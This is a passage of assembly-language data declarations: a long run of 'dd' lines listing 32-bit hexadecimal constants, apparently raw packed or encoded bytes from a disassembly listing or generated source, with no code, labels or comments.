0E8A423A2h, 0B1B91187h, 3CB29B84h dd 4198EB07h, 0FCC9C0F6h, 5400B011h, 0D0B87DDCh, 9654721h dd 18BE045Eh, 0F05C5101h, 78AC48ABh, 9CD64601h, 7CFF637Eh dd 1851FD8h, 8C4E0DC9h, 2C878480h, 26E48094h, 6841BEh dd 0B5A6B76Ah, 0AB796C59h, 23BA80A0h, 86A8859Dh, 80ACFC14h dd 0FB8B750h, 40BB4B82h, 3AE3FDD8h, 4400AA28h, 72C0D8A9h dd 57D5636h, 2EE96ACEh, 38AC01CBh, 70904173h, 51C0F9BCh dd 7136A959h, 823D0005h, 0ED7D3E10h, 961D176Bh, 0DA1F6714h dd 9CC858D2h, 7C119FD2h, 0EE0AF427h, 34108A07h, 357032EAh dd 5E8661h, 0D61D2183h, 3A0FBD1Eh, 60F9020Bh, 7514CCCFh dd 0D35C00B9h, 0DAC42538h, 47040D6Fh, 8540293Bh, 9B8038BCh dd 0EB88A267h, 7E93F500h, 228FE801h, 41B90733h, 0C28A1E5Bh dd 0B866D068h, 0BF8EF44h, 4E8EB976h, 0C0284C2h, 60714C71h dd 0D7D3C141h, 95C00031h, 693E0EDFh, 63248D81h, 0A0C8B8D8h dd 179E7284h, 8F8E34h, 58F6EA3Ch, 7648775Eh, 0EDAF00F0h dd 0FA01C8FCh, 0CD80A848h, 50BC9C79h, 31006373h, 8C4C851Ch dd 0B34657h, 0CC8F9316h, 896DD9B2h, 99C8D114h, 0C128036Ch dd 0A1B5301h, 0F3171059h, 206217E4h, 91A89B28h, 9513A300h dd 8BF54751h, 9361D7Ch, 9A194343h, 0E00E1BE7h, 6E93CC9Bh dd 0F9E898A1h, 343895D9h, 0A400D4F4h, 84F68D19h, 1D186DDDh dd 9B9F28Fh, 78885971h, 86FC50C0h, 0F41F1E5Ah, 18C5219Fh dd 9CC1D7E4h, 71314C50h, 44775423h, 4D2971D6h, 111D0FCh dd 79CA6C00h, 0C0FE60ACh, 0E2280700h, 0C4D9DEC2h, 7D7501C8h dd 4544CC18h, 0FA5074D4h, 68AC70B1h, 693B8669h, 73542E58h dd 0C41083C8h, 0B3A8B8F1h, 9DEC8EDEh, 10C0AD48h, 17050F15h dd 1F91FD95h, 0C7251C4h, 28B59DEFh, 800E52D8h, 5918224Ah dd 9A08C819h, 0F5E938C6h, 99A777B0h, 0D99E8E80h, 8041FD47h dd 0B0A08561h, 9DF0720Bh, 44370401h, 4C78F8BDh, 6787F8F9h dd 7FF5C118h, 866C9D1h, 4CEA7011h, 4FC6A8E8h, 3165497Dh dd 5CE27B79h, 483A02Fh, 7CF013D2h, 0C9073240h, 0A1B38A3Ah dd 8CEFD0A0h, 949095DAh, 635C84D4h, 0C57D0067h, 0A49F875Eh dd 0E02C078Fh, 0C515F0A7h, 0F7588807h, 0AAA0DA00h, 0FD93E4BDh dd 781A95A7h, 0AD0E30C6h, 34736E0h, 22D34A4Fh, 60B412B0h dd 6AF24540h, 4EC302A0h, 2BBA9502h, 80FC0641h, 52EFF751h dd 5F64722Ch, 0C5E82286h, 26F02Ch, 68A20FC6h, 52122191h dd 0C4AE7F00h, 0EB1E39ECh, 2230971h, 1C68D6F2h, 0F28B788Bh dd 0A0E8515Fh, 4BF270E0h, 300889FAh, 103C08A8h, 529180E1h dd 6E4101ACh, 0EC8654EFh, 205C9283h, 0A8B0E0E2h, 0E6844E79h dd 0EF4A017Eh, 0F2220A82h, 0E273F9D7h, 0A8ED38A7h, 714ECD89h dd 19F18494h, 0E8F285h, 9C7C2318h, 538DB2Eh, 7D4A06D4h dd 8078D16Fh, 46641271h, 18D42E8h, 0D8170FE3h, 64735D08h dd 9280333Fh, 0EE5FA1CDh, 815F9EEAh, 59DB5420h, 288D1CA4h dd 0AF99295h, 91585448h, 3588075h, 0F9CCFCB1h, 8F1ED823h dd 0FD2F0068h, 0FFC7D15Eh, 0B4C2B0AAh, 3341340Eh, 30EF6990h dd 5C7CA9BCh, 210E9C9Ch, 94BCA03Eh, 2CEA4F16h, 404818A3h dd 0C0F4B072h, 0AB01BE73h, 9A0CD048h, 0A8307461h, 0EB53011Dh dd 7658F719h, 868EEh, 0DF1CB78Ah, 16109134h, 0EF6FD0EAh dd 0EB31CC04h, 0F208C0FCh, 0C88E0381h, 0C48E90DEh, 0EC491091h dd 0FD4B7D00h, 0B4050AFh, 0ABF64E02h, 0DB01F4D9h, 0C8A4125Ch dd 0B70083B0h, 0C529D113h, 65F9ECh, 0EF6D939Dh, 90703495h dd 0C39A4A07h, 0EE8218E4h, 0F06044F1h, 40C8133Ch, 0F78088C4h dd 81D10704h, 64F96F93h, 0D8B96580h, 49009635h, 0E488A9A1h dd 735BD4FBh, 0FE751F10h, 8646420Dh, 2CD41511h, 7F1AE0CEh dd 7425B5A1h, 7A05006Fh, 418A1DB3h, 0A043DC6h, 9288F181h dd 0F6678480h, 8C100F89h, 0E93908D7h, 966EF168h, 0C490ABA9h dd 8FFF5Dh, 6DF787C0h, 8960BADAh, 0D9A9D0Bh, 0CF08A406h dd 0FC118C22h, 3C85D062h, 5500C862h, 0DCC1BA00h, 0DE7ACE0Ch dd 0F4F3042Ah, 821D0DCDh, 0AB24F1D0h, 1F87B0C8h, 0C0055CBCh dd 75F7B594h, 2A0ADD12h, 880A5B72h, 0EF4400A8h, 0B5828F8h dd 0C44E22ECh, 119AD127h, 43095710h, 41220978h, 0CE903EDDh dd 2200596Fh, 8CEA87EEh, 0F5FF0800h, 3F10099Eh, 600EF823h dd 0F0250832h, 0E44CA19Ah, 24560850h, 26E511E9h, 81122410h dd 6CBA640Ah, 0E0C54700h, 2E83725h, 9EFBFA2Ch, 0E4C0E768h dd 3E013521h, 97C06E36h, 0E869C80Fh, 0F2FFD280h, 1CECF9A2h dd 836D6C00h, 9AC53EB8h, 62F71667h, 53D021D8h, 0F14408CBh dd 88EBC517h, 0ACB80658h, 0E85CF2F6h, 9C0D8808h, 4CCA408Bh dd 0A726C8B9h, 0EC0A5202h, 896D2F50h, 0B04C49D8h, 6EAF861h dd 677E598Bh, 0C6198200h, 10EEE27Bh, 0B821FD50h, 2260206Eh dd 0A0309161h, 2204087h, 0CFF52F54h, 870D4C30h, 83EB4Ch dd 7968ADC9h, 0C4D90752h, 0AD4ACD29h, 193417CCh, 36F14820h dd 41EC00B7h, 0CDA93918h, 8F0152E1h, 0FCBACA17h, 61A70A24h dd 534A6CA0h, 686F1F95h, 4B0A80A1h, 0F5A2D7Ah, 0A8E40D1Eh dd 1B8B9A63h, 45780A8h, 3224EE0Ch, 0BC680834h, 36D380DCh dd 0BCFA742Eh, 0F5B26F00h, 2B59158Dh, 982B8B6h, 4F86F817h dd 23E0342Eh, 0CD1E5BAh, 3859FC2Ch, 4A84E490h, 60B74503h dd 0C0890C6h, 67BB7519h dd 8600F0C1h, 0CAC8779Fh, 27737B39h, 64C84159h, 50B11906h dd 2D3F1D00h, 0B30597h, 4E4B1F9Fh, 40109003h, 8CF83428h dd 204E0F42h, 166AC778h, 1292B300h, 87D7DB47h, 5E4800A2h dd 24ECEAF6h, 785295C2h, 80683EA8h, 3371544Eh, 2EAF5634h dd 954B0CFh, 7C4613F5h, 8281450Fh, 835C55Fh, 0C8FB3801h dd 0E4F49016h, 3A5C0086h, 10707E1Ch, 94964062h, 1CB4374Eh dd 951B038Fh, 7323BE49h, 506452E8h, 0C1205490h, 607C09E0h dd 8C027F1Eh, 7304CFE9h, 297960C2h, 0BC2C28D8h, 211EA4A5h dd 65DADEDEh, 14FF4349h, 0D0EE0148h, 0E04C79C8h, 633FF98Eh dd 6680DCA8h, 5B0FC95Ah, 416579B6h, 0BBB959A3h, 86F0406Ah dd 419D9243h, 51752200h, 0EA94DF77h, 681918E4h, 3DD1610Ch dd 201DC000h, 0BBB87EC5h, 0D8724FA1h, 12008550h, 843A1378h dd 5C43534Bh, 28003594h, 16E6D93Fh, 6E007FD2h, 7A15ECA4h dd 0BCAC4068h, 0C5768060h, 580FDACCh, 3F382F76h, 0B59A0285h dd 7BC6D116h, 708711B4h, 0D8CAEE5Bh, 0CA5E0800h, 1BF2E79Fh dd 7D01D24h, 913E6409h, 286E8BDCh, 300BD3Ch, 0B031C05Eh dd 18E3889Dh, 4CBA0D08h, 3638DF59h, 14F127EBh, 721B0078h dd 0AD7F10AEh, 6EB0BFFFh, 96545E02h, 0D417EC61h, 519B4040h dd 0D72CBB59h, 0E90126C9h, 8465AF7h, 7E8463Ah, 100061E8h dd 4D8E3C5Dh, 758322F4h, 805A3974h, 24868227h, 0D012815Bh dd 0C490199Eh, 267D64h, 61582827h, 9C38999Ah, 0D12563B8h dd 656091C9h, 110F20Dh, 0FBD62EE2h, 1703F28h, 0F1D17F49h dd 6D620FADh, 3E1200B0h, 0E7C613CFh, 23E0E96Fh, 255E12EAh dd 778CB69Ch, 0BA210E01h, 0AC327617h, 0ED001C32h, 0D14DA210h dd 7C006813h, 7BEBF036h, 6043CDEFh, 813491D8h, 30E9A1B6h dd 42144D14h, 5897C18Fh, 6C0424Ch, 0A5633C8Ch, 0A911DFAh dd 0B1BB8054h, 0A89A27FAh, 8C7C207h, 71A13006h, 0B8210FB6h dd 3809838h, 59294EC3h, 0F775AA00h, 0BA8F8450h, 4BAC5B18h dd 0ECFA0798h, 0F5D17B07h, 36B07146h, 0B109A41h, 783CEC04h dd 0D172EC00h, 6F4E4BC7h, 0F7A1CD8h, 9BDB84DCh, 0C0E15525h dd 0EDD253CAh, 576C9400h, 6DBBEFD4h, 9AC2121Fh, 615022E8h dd 4219C921h, 8F05F8h, 0E5680A1Fh, 11C13156h, 93F77F05h dd 54405A61h, 449AE0F9h, 98A60E40h, 4C825E18h, 9B607845h dd 0CC254D71h, 54B01213h, 98942808h, 864E2C0Ch, 59F640FCh dd 46EEA203h, 99B6EA01h, 0CFA54A01h, 6C806C6Ch, 953F0385h dd 0A768B927h, 0E01F7A54h, 0B6310F2Ah, 59930030h, 6EE210F7h dd 0F007D2A3h, 0BB9CA480h, 8040533Bh, 915B21E1h, 3A0486F5h dd 9F9B18CEh, 849945C0h, 24800929h, 6848EC02h, 0D1C0E677h dd 0BA81AC46h, 0EEFB0F58h, 37409C3Fh, 7CA0FA64h, 58830939h dd 0C89D389Ch, 0BC5C2EA4h, 0CAEF0EC0h, 4A4FB899h, 18EC8CAAh dd 0FD09AB1Dh, 790E4ADh, 0AFEC531h, 0F4A3101Fh, 0BF001741h dd 4F91D924h, 2674D1AEh, 265CC5Ah, 10A8237Ah, 2B004C51h dd 1DB0D532h, 0EA390138h, 0F3C9442Ah, 0F0A09C21h, 68049027h dd 90C4EB6h, 9C49FF04h, 0E01D1078h, 8B240371h, 80F2B961h dd 0C444ECF1h, 2C124922h, 4CC81490h, 0B6B9020Bh, 18B494A8h dd 0FB7E20E6h, 5AABA900h, 0E00C8523h, 4DA40287h, 64584A7Eh dd 7859A4E1h, 60358B98h, 13ED4368h, 0A6ABEF76h, 589F10F0h dd 0AA733300h, 6C6085D8h, 0E4341100h, 79074D5Bh, 884252CDh dd 18085C7Ch, 82A10C80h, 1A01079Eh, 420F9BD1h, 4E3E998Dh dd 7F715BF8h, 4BD7943Ah, 0FE907067h, 0F5C678h, 0AC2A0ABCh dd 4B5597F7h, 876E8314h, 88B0B99h, 800451FFh, 19E335E7h dd 4E14A7F7h, 4290902Ah, 96B600B8h, 254D6B9Fh, 7F501DD7h dd 95DD8348h, 0C05DE32Eh, 0FF0505DCh, 0B8A20233h, 0C0C4101Dh dd 2FE0A9E5h, 28CC3B62h, 228190Ch, 0E6E7600Fh, 78610EA5h dd 0FC7CFCF2h, 80FC68F9h, 39D57747h, 3C263D05h, 1F79E680h dd 336BC954h, 71344F4h, 0B4B71074h, 447F310h, 0AC4C717Bh dd 672298F2h, 1DE41F00h, 0C82CC2BFh, 70515887h, 0B07EBBC0h dd 285C81B6h, 467918B7h, 25ABE52Ch, 0EC840FA1h, 5BCD4570h dd 1AFC4CCCh, 90B10424h, 17E0B8F6h, 4ACC2F46h, 0AB7C4B47h dd 840C5010h, 31250200h, 0D2DDD75h, 0B42901F8h, 86F25A72h dd 90DC3CB9h, 0A3257228h, 32B49072h, 0E5210594h, 60DDC262h dd 0E40C89A4h, 64FD9F00h, 5E67D72Ah, 0D17C004Ah, 0C1A75DE1h dd 0D90228A9h, 80697022h, 0FD384364h, 2F789C32h, 0AC9D8C61h dd 0E145F4CAh, 10F18F34h, 4875A480h, 626C96ECh, 0D45C7C1Ch dd 0B6B81050h, 0C3F7425Ch, 0EB42A4A2h, 4595FCE6h, 0C20C0788h dd 0F0B4B780h, 0DE7D4A19h, 0B71BA39h, 69F008D4h, 899F6174h dd 0B4902F6Ch, 89A0749Bh, 0C70B295Eh, 0AA08560h, 6114E2B8h dd 8884E8Ch, 6B9D00E8h, 8BBAC6FAh, 2028F92h, 89FFA2B1h dd 34986010h, 617EB09Eh, 0E393108Eh, 80C07867h, 4C44AB27h dd 0BA0203CEh, 0B6C7E7EAh, 0A30CC5BCh, 0D5E51080h, 0F200B03Ah dd 0E6C40CEBh, 39F70218h, 105C121Ch, 6CEC1C89h, 0DD620052h dd 1112F23Eh, 2128DF1Eh, 0AE40C478h, 91609E5Bh, 3010030Ch dd 0D0177227h, 594A080h, 0C8D190FDh, 7294A138h, 0F90B00F4h dd 6DE8D6C3h, 3F64834h, 170C2324h, 0B108199h, 0C5951116h dd 300B0BF6h, 0A988C4A0h, 73001CF7h, 0F35D7C3Eh, 70676BD0h dd 22F15AEFh, 0E8335C98h, 2F78515h, 72049DEFh, 34873D64h dd 0E38BB8C7h, 28550C05h, 317D6915h, 37FE4A2h, 569D2C56h dd 9C07B722h, 0C6FD072h, 0C4B60FBEh, 0A0B80B47h, 0DD2A0764h dd 0E0C4868Fh, 463ABBCCh, 218A371Ch, 14391C80h, 0B694A3C9h dd 27A991D0h, 80F46A07h, 7F3028A9h, 0D20D032Fh, 0BE1A4C10h dd 0ABE0B4EDh, 0ECB8A9D2h, 16550180h, 13008BE3h, 34D5C415h dd 1FB71BBBh, 0C00F9Ch, 35107395h, 69C0E508h, 413EA7D8h dd 40300790h, 39215D8Fh, 94B41052h, 1933EA40h, 441E0A99h dd 6FA05C6Ch, 57717D61h, 268C72F3h, 0AA4390ABh, 0BF66F8C3h dd 814D00ADh, 0C9EA0903h, 0D896483Ah, 254F6909h, 18C8B3FCh dd 3DEE2523h, 68B5F859h, 0F603DCA6h, 926FB1F9h, 28FD2FA9h dd 0D025806Ch, 3ACFC39h, 1E88CBE1h, 0F5806CBEh, 0F4A09974h dd 0CC132083h, 0B0498F44h, 0D8E6B0h, 0FF3DDA7Fh, 61F7E52Fh dd 0C88384Bh, 0CE510120h, 0D113A6FAh, 4A2823C9h, 0B3364CCh dd 4350F781h, 0E7A0AC64h, 0E71CE2F2h, 0B801D4A9h, 398252E4h dd 955FCCCh, 979349DFh, 0D242D4F8h, 0C0926527h, 3671640h dd 0FEE3B105h, 0E08B9AD1h, 759C1E00h, 0A72AA89Bh, 5D0E3200h dd 0DDFB0B2Bh, 5EE404E9h, 0E2AF6DAAh, 0ECE600E8h, 95D00F2Eh dd 0CF5C017Bh, 0CA725301h, 70643A13h, 4844D8E8h, 5A363C8Ch dd 4A8C804Fh, 8601BB84h, 790CE63h, 7474A3EFh, 0F5C8C8B3h dd 17F9D180h, 918E4DFEh, 3DA9134h, 50BFB1F1h, 0DE809CEDh dd 164B4CD1h, 926240C8h, 60F53C60h, 0BED30566h, 4FA140BCh dd 0AF036772h, 0AF192C8h, 613EE0D5h, 0C1284E03h, 725694h dd 5B5E58F7h, 7BB8C24Fh, 0C0006871h, 0B2A0AC5Ch, 0BF58003Ah dd 0C6A0ED0h, 46FA4344h, 0A418997Bh, 79B1E518h, 348500B0h dd 6E8E320Bh, 88A01ED2h, 7006575Ch, 23868BFh, 73B8888Eh dd 368E0918h, 0F4F89713h, 7FB05C53h, 7500B5EAh, 22EA100Dh dd 583CF156h, 0F42FD8FCh dd 8DBF8C40h, 64FE1227h, 0D5B50094h, 0D89E1F3Ch, 7E006FC1h dd 4B8EFAFDh, 0F8B47525h, 0DFE6B2h, 4773C98Bh, 405CD109h dd 0C4E4352Bh, 48E9B440h, 5A5200E0h, 4CB5B954h, 400EDC8Dh dd 6349C4EFh, 278F109Fh, 0B8459A4Ch, 0B8BCE107h, 52F6E7F0h dd 9B6407E3h, 73A6C0Ah, 0C8FCB269h, 0E8632840h, 432F6889h dd 8198A5FCh, 84550488h, 0A6B90113h, 0A7821C03h, 823B0DCh dd 4449CC3h, 8C1A43CDh, 5845A50h, 0A3BA236Ch, 7B90A418h dd 2586FC13h, 0B1EC1CA5h, 2EA51FFBh, 23888261h, 0C0C62181h dd 6A915D01h, 28960BC9h, 5CDF4CE8h, 0E62E6997h, 8D88174Eh dd 46C9E0ACh, 0DB5BAE17h, 0FF4CC8h, 7919FB83h, 70F60CD3h dd 0CE029CFEh, 0F78D97F2h, 1168C5FCh, 5E5A824Dh, 0E42C6AD8h dd 0BE8900B8h, 5C7C1E69h, 25BF8E75h, 74CCC46Ch, 9CC500E7h dd 0AC34535Fh, 4C0218BFh, 2398C62h, 4438A2EBh, 0C958180Dh dd 0A4E7B71Ch, 8066BB08h, 239F7A2Dh, 4901E983h, 78DEA0D8h dd 0C041D57Ch, 0D82EE13Ah, 0EE95FA18h, 27F202A0h, 4B268128h dd 0D921C54h, 291EFCE7h, 874540D1h, 15F79586h, 0BD62300h dd 0F85FDE3Ah, 0CE9E3C80h, 0A4F2673Ch, 845B00FCh, 8A2E8C0Ch dd 2D00C277h, 0D7051B20h, 2DEF1617h, 20E4CEBAh, 38D2862Ch dd 6825DB11h, 0E397F0A0h, 0B008810h, 343799B7h, 0E0F66756h dd 600F4DEBh, 449B732Fh, 0FC04F1E6h, 0EFC25ACCh, 320000B2h dd 4F24C868h, 0DB0F8AE6h, 0C3FA8B7Ch, 9A482FEFh, 206044F8h dd 125E0D5h, 4F946454h, 7C54C810h, 76B05700h, 0EC81DBC3h dd 38AF0055h, 0C668B139h, 0C17F53D9h, 5C5854B0h, 9D0858BEh dd 48B33E57h, 0AECE1F02h, 8A20DFACh, 0EC07B58h, 0A2275D74h dd 9EC5F140h, 7A139F15h, 0E41640D4h, 80D78408h, 739C3C10h dd 591EC9A9h, 0A8E42C8Fh, 18959383h, 0B2BBA172h, 20FC6189h dd 0D1567882h, 627F8C69h, 0EAB0073Ch, 8DD06538h, 996241D4h dd 3EDC0184h, 818CCBFDh, 9E0A18DCh, 69AD2767h, 51BA24E1h dd 4476CDC8h, 90A08CE0h, 0F762661Ch, 55C20A5h, 9FC7AEh dd 0FBDEA6EEh, 4F10BA14h, 6045100h, 0F76DE15Dh, 0E8545C78h dd 0A2E75B17h, 0DDC78080h, 0DAAC93h, 625BD3C6h, 1561DF1Eh dd 0D6334F12h, 68ACC9h, 2068AF13h, 40CBF924h, 7300ACE2h dd 2E76E509h, 4822F7FCh, 0DAC51839h, 0EA70C018h, 1F3FD1DCh dd 0B8C95061h, 12C8BC48h, 54A301C8h, 29949E00h, 399AEA49h dd 2F70CC58h, 1DBCCEC2h, 0EC2B899Dh, 0F8910203h, 28F4F13Ch dd 0D67462C7h, 202E20A5h, 721C89A0h, 4BDB593Ch, 41820460h dd 33500FDh, 6D909677h, 512FCDB9h, 0CEEC91DCh, 74C96910h dd 2E2B000h, 0B8EDD43h, 10680099h, 0F3311963h, 0A613C734h dd 54F4620Fh, 1249FE5Ch, 3E188F7h, 0DF0C7E8Eh, 0BE38F4A0h dd 282CB9FEh, 51253C76h, 8DED40C0h, 0F600F2EBh, 90D68C53h dd 0BE4A476h, 0C87F24BFh, 50F4E8E2h, 888C1864h, 0D4C801DAh dd 0E9ADAB4Ah, 0C4F9D0E3h, 39D5333Fh, 70589202h, 0C84C7CE2h dd 78E6F125h, 0EA0BE8F6h, 4A5F71CBh, 40B07EACh, 0B0394E36h dd 0BA647803h, 0E9A54D1Bh, 0F048AFD3h, 98C0A6EBh, 0F6D00D4h dd 1CE9C9EFh, 85E1B0Eh, 762F5840h, 1F8C5A9h, 10809D91h dd 69EE6D62h, 732208h, 0DA1341AFh, 8F7C4D12h, 0C0954272h dd 13A56004h, 94EFE16h, 0B8C4675Ch, 0DB038D1Fh, 99A8DC00h dd 2ADC26Ch, 71952812h, 925D755Bh, 108CD9B4h, 419AC84Dh dd 309526D5h, 0CCB14CB8h, 9ABF3702h, 0EEB8410Fh, 88038070h dd 80A43DB7h, 0C5F4AF8h, 0F971ACC8h, 0B8E4EA13h, 0ACA87540h dd 0C90EE6B0h, 0B3D7FB2Ch, 25EFCA0h, 0FFAC5F0h, 488093C4h dd 22EFFEA9h, 95B1D601h, 48CE808Bh, 0C074247Ah, 0F70D3980h dd 10A6674h, 785086E3h, 0D9D38209h, 8F8A8024h, 0B387B876h dd 4E5C5D50h, 0EF7C0344h, 41018040h, 0B34F0396h, 204ED71h dd 61343900h, 5623906Eh, 0BACB26AFh, 433740F8h, 5A002C88h dd 0E648AD89h, 0B7D739h, 0FEB882F8h, 8420FDAh, 0E0107935h dd 3F51FC2Ch, 0E7B0C1E8h, 0B8B6CAF0h, 2698DFE1h, 0AE7C4F0Ah dd 8216823Ch, 0A4E822EDh, 4FE45CDCh, 0CDB14200h, 0D802F413h dd 9D1AFD5Eh, 1440E4BBh, 9F4D27CEh, 88EF7716h, 99008988h dd 0CB5AA691h, 1C73261h, 0A2A59517h, 2356120Fh, 34AF00D4h dd 0B47CC4A7h, 62363804h, 28FB939h, 0B6937ABh, 27559C18h dd 47523D00h, 0C0AB9232h, 2D11EC84h, 18E6EDBFh, 0BE8E3000h dd 0F2C43C1Dh, 0CBF50090h, 15012DA4h, 7801088Ah, 95BACE11h dd 20735B14h, 0A8C5AF03h, 2AF045D9h, 0E9040DBCh, 446558DCh dd 468E2082h, 8B5F5E74h, 5B083C78h, 40AA108Ch, 6725FCC1h dd 28B8594Dh, 4C5D0B1Ch, 982A98Eh, 0B8D4798Fh, 57B6DF80h dd 6114C4h, 9B0C07D7h, 44BE5949h, 0B9C09102h, 0C039DBCAh dd 2406F2E4h, 1E8D728h, 1C55B082h, 0B92070CFh, 4F968C94h dd 9480A4B2h, 0F05C3B8Ch, 5CF95838h, 47CDC410h, 64E6E0C4h dd 409B130Fh, 0EB786F40h, 0F7381645h, 30DB81F6h, 0EC6B7D2Fh dd 4B63B0F0h, 148F3CCh, 382167F7h, 1C636879h, 0CF252300h dd 0A4BD4C09h, 81A5270Bh, 0A74CA011h, 8866AD1Dh, 9707AF26h dd 25C94DC6h, 3210ACh, 0BE9D7234h, 0C7FE1923h, 4274E997h dd 0F8A85AF0h, 0C2B03E6Eh, 546EB2A5h, 5D9A2003h, 0F47564ACh dd 5ACDBAC0h, 2D8300B5h, 0B3E1A82h, 6B4F798Eh, 0E6ECA832h dd 89751FC8h, 782F8C4h, 0B1215D02h, 0D2031461h, 0C60010D9h dd 7CEA2D69h, 98E470B2h, 77A886A5h, 212900DCh, 6C5A491Eh dd 64980CADh, 0CFD55104h, 9C4D812h, 60DC00BBh, 135E8FB0h dd 288F0D5Ah, 4FCCF809h, 0D244A444h, 112A017Eh, 12B6D6DBh dd 4B65FD7Ah, 2C771120h, 300E1709h, 3256AC8Fh, 6F20D8E4h dd 316F740h, 0DE91042Fh, 71C8C73Dh, 0AA4F86B5h, 0CAB17420h dd 0B0FA0B4Eh, 835FC13Ah, 0C81550B8h, 21DC216h, 8E472DBCh dd 0CCD03378h, 0CD2093B5h, 0EF2544E3h, 347D7890h, 5F2C85F9h dd 0C8E84AEAh, 0CD47810h, 0A95EF101h, 821005Ch, 404F0FFDh dd 504BCC36h, 0F200A4F3h, 0CDEC48A1h, 0F4A67544h, 3D10D744h dd 7ABB226Bh, 3090231Bh, 6D12C887h, 0AC0020A7h, 1E2541Ch dd 0D4069216h, 13F5E107h, 0B0449748h, 0ABDEE600h, 957C8E02h dd 8FA00B54h, 45A12A9h, 274890BDh, 0AAEE00B6h, 0CDE6677Ch dd 0BC1A71A5h, 639806BAh, 0E8C0EC24h, 9DD07238h, 700804Ch dd 4D0D0A11h, 3157E1h, 8EE4FA28h, 0C7FFB603h, 81F665E4h dd 717D2D05h, 0CCE25558h, 0C08EDB85h, 0A93D691h, 27063F27h dd 0A0104F64h, 21D2CD1h, 0D66D24EAh, 1FE202DEh, 4A340357h dd 18D03D8Ah, 5851E7A5h, 29090449h, 10AC12C1h, 55F0A5F9h dd 16FF2EDCh, 13E208C8h, 795CC625h, 0E4A128FCh, 0FE4310F8h dd 6058E0h, 53BE87DFh, 7239594h, 0CB9910B0h, 3CE1707Ah dd 22EE3F62h, 0FCB3724Eh, 0F8168121h, 849F400h, 9F014159h dd 0E9006CE6h, 0EFE86BDFh, 3E3145h, 0AC9D78EEh, 929F7E0Fh dd 7BC8669Fh, 43623598h, 0D8440859h, 1422CCA6h, 61599A2Fh dd 0B7F0A400h, 0DCFC04EDh, 0FD86F77Ch, 271E488Ch, 1059B3h dd 4A5B8B7Bh, 0AB0C4887h, 4133D54Bh, 0F20188B0h, 84E03C4Ch dd 0C422EB5Ch, 0B34CE821h, 0F3A1F0h, 53941D46h, 99BD92A6h dd 0DD652000h, 9015F4D0h, 1BF175Ah, 2B788CE8h, 344C2AF8h dd 525B3B40h, 69E530E4h dd 8150A4h, 0FA8D5CDCh, 1F95922Bh, 0DCB9E00h, 9A071598h dd 23B1724h, 5878B6ECh, 8CEF0388h, 0A5D1E4A9h, 0D90B088h dd 6266D4F7h, 1CCC63D0h, 0F12513CEh, 0FB340708h, 420BF0EDh dd 74BD2DDh, 0F68D3849h, 23A38038h, 1673E218h, 0C74F1E00h dd 12558315h, 58A1588Eh, 18969779h, 4F0C3900h, 68C52684h dd 0F9E31D4Ch, 0B90DCE06h, 0BDF7C00h, 0BD7638F7h, 0C3785516h dd 0CCA298C4h, 0FB1C601h, 3AED023Dh, 3800A48Ah, 1F6F331Bh dd 850079C0h, 7219D668h, 922093Fh, 8236B0Fh, 8925B4F4h dd 0F01670h, 0B8264091h, 94D078Dh, 5E10D502h, 40EF993Fh dd 90F9D8Ch, 0CC6CD150h, 0B0022CD1h, 66C4FDCDh, 4F710060h dd 946D19DFh, 0D1C3B646h, 0E85AD57Bh, 12E6C412h, 8CED0193h dd 811C94C0h, 530BF861h, 4128792Fh, 2D7880B7h, 1BCB0080h dd 3E3C92E7h, 6D3CC0D6h, 87261FACh, 49A46A00h, 0EF089FDFh dd 0B86497C2h, 3BC0FF00h, 408B2BCEh, 45132C69h, 807027DDh dd 24BA9Fh, 0E77CB2C8h, 13CF05FBh, 0FCD876F8h, 0C6212F70h dd 6C00B7ECh, 23C158FEh, 4BBEA499h, 8F1338B3h, 8940182h dd 2BAFFE87h, 0A85418C8h, 3F06E8h, 59E5CACh, 770CA433h dd 59D13B17h, 69FDFD00h, 4B6168ADh, 0BE848817h, 481FE3FAh dd 0AC00DB06h, 0F202C3CCh, 5F2E2E7Eh, 55F909E0h, 32E7845Ch dd 0D56D8450h, 9C0900C3h, 655D0EEh, 0AA792CB8h, 18A6FA16h dd 5A1CA4h, 1796B7Eh, 961B1724h, 8CC5F71Fh, 18166413h dd 0A8F86865h, 1234E34Eh, 70976371h, 1596D2A1h, 0D460BC71h dd 72DC9025h, 892FE969h, 53F40C74h, 0CB4548h, 0AF82A643h dd 4CD2Fh, 993D11DCh, 97B50BF2h, 53670F25h, 0CAE408CCh dd 1902373Eh, 481A0160h, 0CE720B5Bh, 4899EB4Fh, 1C2C08CCh dd 407D0340h, 0B409F1E9h, 8737682h, 59A8EE09h, 0A9B881B7h dd 0C22E0BA4h, 16D58C7Ch, 45931620h, 0EC9CC8A6h, 61412D07h dd 133004C0h, 12F67897h, 0FD95ABF5h, 71B91090h, 0F958E302h dd 0F4E2017Bh, 79007CF9h, 66EC1A44h, 2EB7E4A3h, 27E45CF6h dd 0CB00F8F9h, 0D9DC2A65h, 239D3FE3h, 73352501h, 706811AFh dd 0EA89CCF8h, 5C0A9CCCh, 0D04390EFh, 0E025E458h, 5F470CF9h dd 0C0798F01h, 4990207Fh, 8B30D169h, 0AA9A31D4h, 903604C7h dd 0C254CD74h, 18801BF0h, 6EABF282h, 81C7B63Fh, 0CE9025E1h dd 0D6FA0148h, 0FED7C0F8h, 1D008013h, 696EF332h, 4B495028h dd 11F4E371h, 3051C1ACh, 1324C5C2h, 2CC600A9h, 82B7DD27h dd 0E2F69700h, 0A787F0ACh, 4AE0000Eh, 0B9959391h, 210FEF54h dd 422C1970h, 409EB571h, 0B8142ECCh, 4ECD25A8h, 0D03438A7h dd 0B7CAEA71h, 9AEF9805h, 9C085C93h, 8C594479h, 6325B104h dd 0E39019CCh, 0A1F7DC53h, 287034C9h, 2A4D88F6h, 0CC451CB8h dd 0B2E0F5F5h, 6F151E9Ch, 504497Fh, 0AA7B6C84h, 142DA04Bh dd 35C50038h, 5488B9CEh, 9507B1ABh, 39F5EB8Fh, 0AFE90730h dd 614975A9h, 51CD794Eh, 0FC777AFFh, 0CB8DA100h, 575909B6h dd 2491EE01h, 40203F10h, 58F519h, 0BAD4C238h, 0C36AFB8Ch dd 0E71FD80Bh, 80C80B5Bh, 1764CAC4h, 0B8EA4CFFh, 1C417844h dd 0DCC288Fh, 3E18A556h, 8B01E831h, 0E4F871C8h, 5BBE0172h dd 0D76C563Eh, 0D633F912h, 0F1D170DCh, 75126708h, 0B44CD531h dd 7F7E1BEh, 89B44A0Fh, 0BA2CD51Dh, 5E6A1821h, 0E818AE4h dd 16036734h, 4B84F582h, 89CD54C9h, 0D6DA5460h, 77B50C8h dd 73190865h, 0BC6C188Dh, 0F85E7689h, 0EDDA58h, 40F5C603h dd 0EC47D75Ah, 869DD0B3h, 